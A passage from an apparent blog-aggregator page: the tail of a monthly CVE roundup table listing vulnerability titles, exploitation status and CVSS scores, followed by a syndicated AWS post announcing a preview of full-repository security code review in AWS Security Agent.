n/a

No

5.3
CVE-2026-41672

xmldom: XML node injection through unvalidated comment serialization

n/a

No
CVE-2026-41674

xmldom: XML injection through unvalidated DocumentType serialization

n/a

No
CVE-2026-41675

xmldom: XML node injection through unvalidated processing instruction serialization

n/a

No
CVE-2026-41673

xmldom: Denial of service via uncontrolled recursion in XML serialization

n/a

No
CVE-2026-25243

redis-server RESTORE invalid memory access may allow remote code execution

n/a

No
CVE-2026-23631

redis-server Lua use-after-free may allow remote code execution

n/a

No
CVE-2026-31717

ksmbd: validate owner of durable handle on reconnect

n/a

No

8.8
CVE-2026-31718

ksmbd: fix use-after-free in __ksmbd_close_fd() via durable scavenger

n/a

No

9.8
CVE-2026-23479

redis-server use-after-free in unblock client flow may allow remote code execution

n/a

No
CVE-2026-25588

RedisTimeSeries RESTORE invalid memory access may allow remote code execution

n/a

No
CVE-2026-25589

RedisBloom RESTORE invalid memory access may allow remote code execution

n/a

No
CVE-2026-43474

fs: init flags_valid before calling vfs_fileattr_get

n/a

No
CVE-2026-43338

btrfs: reserve enough transaction items for qgroup ioctls

n/a

No
CVE-2025-71302

drm/panthor: fix for dma-fence safe access rules

n/a

No
CVE-2026-43318

drm/amdgpu: fix sync handling in amdgpu_dma_buf_move_notify

n/a

No

7.1
CVE-2026-43309

md raid: fix hang when stopping arrays with metadata through dm-raid

n/a

No

5.5
CVE-2026-43416

powerpc, perf: Check that current->mm is alive before getting user callchain

n/a

No
CVE-2025-71299

spi: cadence-quadspi: Parse DT for flashes with the rest of the DT parsing

n/a

No

5.5
CVE-2026-43284

xfrm: esp: avoid in-place decrypt on shared skb frags

n/a

No

7.8
CVE-2026-43352

i3c: mipi-i3c-hci: Correct RING_CTRL_ABORT handling in DMA dequeue

n/a

No

5.5
CVE-2026-43300

drm/panel: Fix a possible null-pointer dereference in jdi_panel_dsi_remove()

n/a

No

5.5
CVE-2026-43331

x86/kexec: Disable KCOV instrumentation after load_segments()

n/a

No
CVE-2026-43320

drm/amd/display: Fix dsc eDP issue

n/a

No
CVE-2026-43306

bpf: crypto: Use the correct destructor kfunc type

n/a

No

7.0
CVE-2026-43443

ASoC: amd: acp-mach-common: Add missing error check for clock acquisition

n/a

No
CVE-2026-43317

most: core: fix leak on early registration failure

n/a

No
CVE-2026-43319

spi: spidev: fix lock inversion between spi_lock and buf_lock

n/a

No
CVE-2026-43303

mm/page_alloc: clear page->private in free_pages_prepare()

n/a

No

7.0
CVE-2026-43344

perf/x86/intel/uncore: Fix die ID init and look up bugs

n/a

No
CVE-2026-43321

bpf: Properly mark live registers for indirect jumps

n/a

No

7.8
CVE-2026-43456

bonding: fix type confusion in bond_setup_by_slave()

n/a

No

5.5
CVE-2026-43305

drm/amd/display: Fix mismatched unlock for DMUB HW lock in HWSS fast path

n/a

No

5.5
CVE-2026-43298

drm/amdgpu: Skip vcn poison irq release on VF

n/a

No

7.8
CVE-2026-43299

btrfs: do not ASSERT() when the fs flips RO inside btrfs_repair_io_failure()

n/a

No

5.5
CVE-2026-43400

drm/amdgpu: add upper bound check on user inputs in signal ioctl

n/a

No
CVE-2026-43310

media: verisilicon: Avoid G2 bus error while decoding H.264 and HEVC

n/a

No

5.5
CVE-2026-43294

drm: renesas: rz-du: mipi_dsi: fix kernel panic when rebooting for some panels

n/a

No

5.5
CVE-2026-43353

i3c: mipi-i3c-hci: Fix race in DMA ring dequeue

n/a

No

7.8
CVE-2026-43292

mm/vmalloc: prevent RCU stalls in kasan_release_vmalloc_node

n/a

No

5.5
CVE-2026-43398

drm/amdgpu: add upper bound check on user inputs in wait ioctl

n/a

No
CVE-2026-43311

soc/tegra: pmc: Fix unsafe generic_handle_irq() call

n/a

No

5.5
CVE-2026-43421

usb: gadget: f_ncm: Fix net_device lifecycle with device_move

n/a

No
CVE-2026-43308

btrfs: don’t BUG() on unexpected delayed ref type in run_one_delayed_ref()

n/a

No

5.5
CVE-2026-37458

n/a

No

6.5
CVE-2026-37459

n/a

No

7.5
CVE-2026-33846

Gnutls: gnutls: denial of service via heap buffer overflow in dtls handshake fragment reassembly

n/a

No

7.5
CVE-2026-6664

PgBouncer integer overflow in PgBouncer network packet parsing

n/a

No

7.5
CVE-2026-6665

PgBouncer buffer overflow in SCRAM

n/a

No

8.1
CVE-2026-6667

PgBouncer missing authorization check in KILL_CLIENT admin command

n/a

No

4.3
CVE-2026-6666

PgBouncer crash in kill_pool_logins_server_error

n/a

No

5.9
CVE-2026-45130

Vim: Heap Buffer Overflow in spell file loading

n/a

No

6.6
CVE-2026-44656

Vim: OS Command Injection via ‘path’ completion

n/a

No
CVE-2026-33811

Crash when handling long CNAME response in net

n/a

No

7.5
CVE-2026-33814

Infinite loop in HTTP/2 transport when given bad SETTINGS_MAX_FRAME_SIZE in net/http/internal/http2 in golang.org/x/net

n/a

No

7.5
CVE-2026-39817

Invoking “go tool pack” does not sanitize output paths in cmd/go

n/a

No

5.9
CVE-2026-39819

Invoking “go bug” follows symlinks in predictable temporary filenames in cmd/go

n/a

No

5.3
CVE-2026-39820

Quadratic string concatentation in consumeComment in net/mail

n/a

No

7.5
CVE-2026-39823

Bypass of meta content URL escaping causes XSS in html/template

n/a

No

6.1
CVE-2026-39825

ReverseProxy forwards queries with more than urlmaxqueryparams parameters in net/http/httputil

n/a

No

5.3
CVE-2026-39826

Escaper bypass leads to XSS in html/template

n/a

No

6.1
CVE-2026-39836

Panic in Dial and LookupPort when handling NUL byte on Windows in net

n/a

No

7.5
CVE-2026-42499

Quadratic string concatenation in consumePhrase in net/mail

n/a

No

7.5
CVE-2026-42501

Malicious module proxy can bypass checksum database in cmd/go

n/a

No

7.5
CVE-2026-33079

Mistune ReDoS in LINK_TITLE_RE allows denial of service with crafted Markdown titles

n/a

No
CVE-2026-41889

pgx: SQL Injection via placeholder confusion with dollar quoted string literals

n/a

No
CVE-2026-42257

net-imap: Command Injection via “raw” arguments to multiple commands

n/a

No
CVE-2026-42258

net-imap: Command Injection via unvalidated Symbol inputs

n/a

No
CVE-2026-42256

net-imap: Denial of service via high iteration count for `SCRAM-*` authentication

n/a

No
CVE-2026-42246

net-imap vulnerable to STARTTLS stripping via invalid response timing

n/a

No
CVE-2026-45186

n/a

No

2.9
CVE-2026-7261

SoapServer session-persisted object use-after-free via SOAP header fault

n/a

No
CVE-2026-7258

Out-of-bounds read in urldecode() on NetBSD

n/a

No
CVE-2026-6722

Use-After-Free in SOAP using Apache map

n/a

No
CVE-2026-6735

XSS within PHP-FPM status endpoint

n/a

No
CVE-2026-7262

NULL pointer dereference in SOAP apache:Map decoder with missing <value>

n/a

No
CVE-2025-14179

SQL injection in pdo_firebird via NUL bytes in quoted strings

n/a

No
CVE-2026-7568

Signed integer overflow in metaphone()

n/a

No
CVE-2026-7259

Null pointer dereference in php_mb_check_encoding() via mb_ereg_search_init()

n/a

No
CVE-2026-43500

rxrpc: Also unshare DATA/RESPONSE packets when paged frags are present

n/a

No

7.8

SQL Server vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2026-40370

SQL Server Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8

Windows vulnerabilities

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2025-54518

AMD: CVE-2025-54518 CPU OP Cache Corruption

Exploitation Unlikely

No
CVE-2026-41095

Data Deduplication Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-35424

Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability

Exploitation Unlikely

No

7.5
CVE-2026-40377

Microsoft Cryptographic Services Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34329

Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8
CVE-2026-41097

Secure Boot Security Feature Bypass Vulnerability

Exploitation Less Likely

No

6.7
CVE-2026-33839

Win32k Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0
CVE-2026-33840

Win32k Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-34330

Win32k Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-34331

Win32k Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0
CVE-2026-35423

Windows 11 Telnet Client Information Disclosure Vulnerability

Exploitation Unlikely

No

5.4
CVE-2026-35438

Windows Admin Center Elevation of Privilege Vulnerability

Exploitation Less Likely

No

8.3
CVE-2026-34344

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34345

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-35416

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.0
CVE-2026-41088

Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-34343

Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-35418

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-33835

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-34337

Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40407

Windows Common Log File System Driver Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-40397

Windows Common Log File System Driver Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-41096

Windows DNS Client Remote Code Execution Vulnerability

Exploitation Unlikely

No

9.8
CVE-2026-42896

Windows DWM Core Library Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-35419

Windows DWM Core Library Information Disclosure Vulnerability

Exploitation Less Likely

No

5.5
CVE-2026-34336

Windows DWM Core Library Information Disclosure Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-33834

Windows Event Logging Service Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-32209

Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability

Exploitation Unlikely

No

4.4
CVE-2026-35421

Windows GDI Remote Code Execution Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-40403

Windows Graphics Component Remote Code Execution Vulnerability

Exploitation Less Likely

No

8.8
CVE-2026-40402

Windows Hyper-V Elevation of Privilege Vulnerability

Exploitation Less Likely

No

9.3
CVE-2026-33841

Windows Kernel Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-35420

Windows Kernel Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40369

Windows Kernel Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-34332

Windows Kernel-Mode Driver Remote Code Execution Vulnerability

Exploitation Unlikely

No

8.0
CVE-2026-34339

Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability

Exploitation Less Likely

No

5.5
CVE-2026-34341

Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-33838

Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-32161

Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability

Exploitation Less Likely

No

7.5
CVE-2026-41089

Windows Netlogon Remote Code Execution Vulnerability

Exploitation Less Likely

No

9.8
CVE-2026-34342

Windows Print Spooler Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-34340

Windows Projected File System Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-40398

Windows Remote Desktop Services Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-21530

Windows Rich Text Edit Elevation of Privilege Vulnerability

Exploitation Less Likely

No

6.7
CVE-2026-32170

Windows Rich Text Edit Elevation of Privilege Vulnerability

Exploitation Less Likely

No

6.7
CVE-2026-40410

Windows SMB Client Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-35415

Windows Storage Spaces Controller Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34350

Windows Storport Miniport Driver Denial of Service Vulnerability

Exploitation Unlikely

No

6.5
CVE-2026-40405

Windows TCP/IP Denial of Service Vulnerability

Exploitation Less Likely

No

7.5
CVE-2026-40414

Windows TCP/IP Denial of Service Vulnerability

Exploitation Unlikely

No

7.4
CVE-2026-40401

Windows TCP/IP Denial of Service Vulnerability

Exploitation Unlikely

No

7.1
CVE-2026-40413

Windows TCP/IP Denial of Service Vulnerability

Exploitation Less Likely

No

7.4
CVE-2026-35422

Windows TCP/IP Driver Security Feature Bypass Vulnerability

Exploitation Unlikely

No

6.5
CVE-2026-34351

Windows TCP/IP Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40399

Windows TCP/IP Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34334

Windows TCP/IP Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.8
CVE-2026-40406

Windows TCP/IP Information Disclosure Vulnerability

Exploitation Less Likely

No

7.5
CVE-2026-33837

Windows TCP/IP Local Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8
CVE-2026-40415

Windows TCP/IP Remote Code Execution Vulnerability

Exploitation Unlikely

No

8.1
CVE-2026-42825

Windows Telephony Service Elevation of Privilege Vulnerability

Exploitation Unlikely

No

7.0
CVE-2026-34338

Windows Telephony Service Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40382

Windows Telephony Service Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-40380

Windows Volume Manager Extension Driver Remote Code Execution Vulnerability

Exploitation Less Likely

No

6.2
CVE-2026-40408

Windows WAN ARP Driver Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34333

Windows Win32k Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.8
CVE-2026-34347

Windows Win32k Elevation of Privilege Vulnerability

Exploitation Less Likely

No

7.0
CVE-2026-35417

Windows Win32k Elevation of Privilege Vulnerability

Exploitation More Likely

No

7.8

Critical RCEs and EoPs

CVE

Title

Exploitation status

Publicly disclosed?

CVSS v3 base score
CVE-2026-33109

Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability

N/A

No

9.9
CVE-2026-33844

Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability

N/A

No

9.0
CVE-2026-42823

Azure Logic Apps Elevation of Privilege Vulnerability

Exploitation Less Likely

No

9.9
CVE-2026-42898

Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability

Exploitation Unlikely

No

9.9
CVE-2026-42833

Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability

Exploitation Less Likely

No

9.1
CVE-2026-41103

Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability

Exploitation More Likely

No

9.1
CVE-2026-41096

Windows DNS Client Remote Code Execution Vulnerability

Exploitation Unlikely

No

9.8
CVE-2026-40402

Windows Hyper-V Elevation of Privilege Vulnerability

Exploitation Less Likely

No

9.3
CVE-2026-41089

Windows Netlogon Remote Code Execution Vulnerability

Exploitation Less Likely

No

9.8

AWS Security Agent full repository code scanning feature now available in preview

Post Syndicated from Ayush Singh original https://aws.amazon.com/blogs/security/aws-security-agent-full-repository-code-scanning-feature-now-available-in-preview/

Today, we’re excited to announce the preview release of full repository code review, a new capability in AWS Security Agent that performs deep, context-aware security analysis of your entire code base. AI-driven cybersecurity capabilities are advancing rapidly. AWS Security Agent can now find vulnerabilities and build working exploits across your entire code base at a scale and speed we haven’t seen before, reasoning like a human security researcher, but operating at machine velocity. Unlike traditional static analysis tools that match code against known vulnerability patterns, full repository code review reasons about your application’s architecture, trust boundaries, and data flows the way a human security researcher would and then produces developer-ready findings with transparent evidence and concrete remediation.

AWS is prioritizing free early access for customers, giving defenders the opportunity to strengthen their code bases and share what they learn so the whole industry can benefit.

The challenge: Security analysis that scales with your code

Development teams today face persistent tension. Traditional static application security testing (SAST) tools are fast and reliable at catching known patterns such as a SQL injection sink, an unescaped output, or a hard-coded credential. But modern applications are complex systems of services, APIs, trust boundaries, and authorization logic. The most dangerous vulnerabilities often aren’t single-line pattern violations, rather they’re systemic gaps where a validation function covers four of five cases, one endpoint is missing the authorization annotation its neighbors have, or encoding is applied in one context but not another.

Manual security reviews catch these issues, but they’re expensive, slow, and don’t scale to the pace of modern development. As code bases grow, teams are forced to choose between breadth and depth.

Full repository code review is built to close this gap. It gives your team an automated security researcher that reads and reasons about your entire repository, not just individual lines or file, and surfaces findings that pattern-matching tools miss.

How it works: Profile, search, triage, validate

Full repository code review operates in four stages that mirror how an experienced security engineer conducts an engagement.

  1. Profile the application: The scanner begins by reading the entire repository and building a security model of the application including entry points, trust boundaries, data flows, authorization invariants, and the defenses already in place. This profiling step accounts for every source file, so coverage decisions are explicit rather than implicit. The result is a structured understanding of what the application does and where its attack surface lies.

  2. Search for vulnerabilities: An orchestrator reads the security profile, reasons about the attack surface, and dispatches specialized agents to the highest-risk components. Each agent receives a scoped assignment with specific modules, threat context, and adversarial questions. Agents are free to follow imports and callers beyond their starting scope when a lead takes them there.

  3. Triage and deduplicate: Candidate findings are deduplicated (same sink, same root cause) and low-confidence noise is filtered out before the validation phase.

  4. Validate independently: For every candidate, an independent validator re-reads the source code and traces the full attack chain. The validator argues both sides: it looks for reasons the finding might not be a vulnerability (compensating controls, intentional design), and it looks for reasons it is one (alternative attack paths, edge cases). A finding is only rejected when the evidence against it is as strong as the evidence that promoted it. This process produces findings with structured Verified and Could not verify sections, so your team knows exactly what the scanner confirmed in the code and what depends on your deployment environment.

What makes this different

Full repository code review differs from traditional static analysis in two fundamental ways. It reasons about your application’s actual behavior rather than matching against known vulnerability patterns, and it presents findings with structured evidence that makes uncertainty explicit rather than hidden.

Context-aware reasoning, not pattern matching

Because the scanner builds a security model before searching for vulnerabilities, it reasons about the application’s actual behavior, not only surface-level code patterns.

Consider a real example: A stored procedure had a SQL injection vulnerability. A traditional SAST tool would flag the specific EXECUTE IMMEDIATE call. The scanner went deeper and it identified that the central validation function doesn’t block single quotes in any of its five regex profiles, listed all five profiles by name, explained why single quotes matter for the specific database engine, and noted that another stored procedure skips the validation function entirely. Instead of a point fix on one call site, the finding led to a comprehensive remediation of the systemic gap.

In another case, the scanner found an XSS vulnerability where a value was added to a field without HTML encoding. The same value was properly encoded with Encode.forHtml() in a different context within the same file. Pattern-matching tools miss this because the encoding function is present, but the vulnerability is the inconsistency, which requires understanding the application’s behavior across code paths.

Validated findings with transparent uncertainty

Every finding is structured for efficient developer triage:

  • Problem: What the code does wrong, with specific file and line references.
  • Impact: What an attacker gains, with details about deployment context.
  • Verified and could not verify: What the scanner confirmed directly in code versus what depends on your environment (network segmentation, runtime behavior).
  • Remediation: Concrete fix suggestions with specific code changes, not generic guidance.
  • Severity and confidence: Calibrated independently. Severity reflects the impact if the vulnerability is exploitable; confidence reflects how much of the attack chain was verified in code.

How full repository code review fits into your workflow

Full repository code review is designed to complement, not replace, your existing security tooling. Here’s how it fits into a modern development workflow:

  • Before security reviews: Run a full repository code review before scheduling a penetration test or security review. The review surfaces the obvious and semi-obvious issues so your security team can focus their limited time on the subtle, design-level questions that require human judgment.
  • When onboarding acquired or open source code: Full repository code review is especially valuable when your team inherits code through acquisitions or vendor dependencies, or from open source components you’re integrating. The scanner builds a security model from scratch, so it doesn’t need institutional knowledge of the codebase.
  • During architecture reviews: Because the scanner reasons about trust boundaries, data flows, and authorization invariants, its findings often surface architectural issues, not only implementation bugs. Review the scan results alongside your threat models to validate assumptions about how components interact.

Follow our Quickstart guide to set up and execute a full repo code review with AWS Security Agent.

Preview availability and pricing

Full repository code review is available today in preview at no additional charge for AWS Security Agent customers. During the preview, we welcome your feedback as we refine the experience. Use the built-in feedback mechanism in the Security Agent web application or reach out to your AWS account team.

Get started today

Visit the AWS Security Agent console to enable full repository code review and run your first scan. For more information, see the AWS Security Agent documentation.

Ayush Singh

Ayush Singh

Ayush is a Senior Product Manager at AWS, where he leads the development of AWS Security Agent. Ayush has a proven record of scaling enterprise-grade, open source, and agentic AI products. He is dedicated to building tools that empower organizations to effectively scale their security practices. Ayush holds an MBA from the University of Rochester and a B.Tech in Computer Science from KIIT University.

Daniele Bonadiman

Daniele is a Senior Applied Scientist at AWS, where he works on AWS Security Agent. Daniele holds a PhD in Applied Machine Learning and Natural Language Processing from the University of Trento. During his time at AWS, Daniele has contributed to several AI initiatives focusing on conversational AI, multi-agent systems orchestration and code interpretation for AI agents.

The collective thoughts of the interwebz